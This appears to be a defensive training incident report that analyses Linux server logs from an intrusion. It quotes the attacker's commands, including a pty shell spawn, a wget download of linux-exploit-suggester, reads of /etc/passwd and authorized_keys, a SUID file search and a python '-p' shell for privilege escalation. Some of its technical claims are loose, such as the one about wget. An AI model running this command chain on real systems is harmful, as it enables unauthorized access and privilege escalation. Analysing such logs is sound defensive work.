**INCIDENT REPORT: TS-18988-Defensive: Linux Server Logs**

**Date: 06/21/24**

**Executive summary:**

This User Story involves identifying how the attacker was able to access sensitive information in the victim’s Linux server. This is in spite of the fact that the Admin established input sanitization to prevent malicious .php files from being uploaded to the server.

**Narrative:**

Upon review of the server logs, I noticed that there may have been some attempt to test to see if .php files could be uploaded in lines 1-3. By line 21, the suspect appears to identify the home directory of “Daniel”. By line 27, the suspect enters: python -c 'import pty; pty.spawn("/bin/sh")', which creates an interactive shell session that allows the user to explore the system further.

In line 32 the suspect enters: wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh, which appears to download an unknown file to the system. Based on the “linux-exploit-suggester” text in the file patch, the intention of this download may be questionable. Using :wget allows a user to download files, even if the user isn’t logged into the system.

Up through line 59, the suspect uses the “cat” command several times to view different system files, including:

cat /etc/network/interfaces

cat /etc/sysconfig/network

cat ~/.profile

cat ~/.ssh/authorized\_keys

cat /etc/passwd

In line 61, the suspect appears to conduct a search of the entire file system with: find / -type f -user root -perm -4000 2>/dev/null

On line 62 with the entry of ./usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")', the suspect is able to establish a shell session with elevated privileges.

**Conclusion:**

It’s difficult to determine how the suspect gained initial access to the user session, and whether it’s being conducted remotely or in-person. In any case, the input sanitization would be ineffective in this case, as the suspect was able to directly download a non-.php file to the system, and create shell sessions by executing common Linux commands into the shell. Further investigation would be necessary to determine if this is a remote user who’s gained access to the system, or if a breach of physical security or personnel misconduct is at play.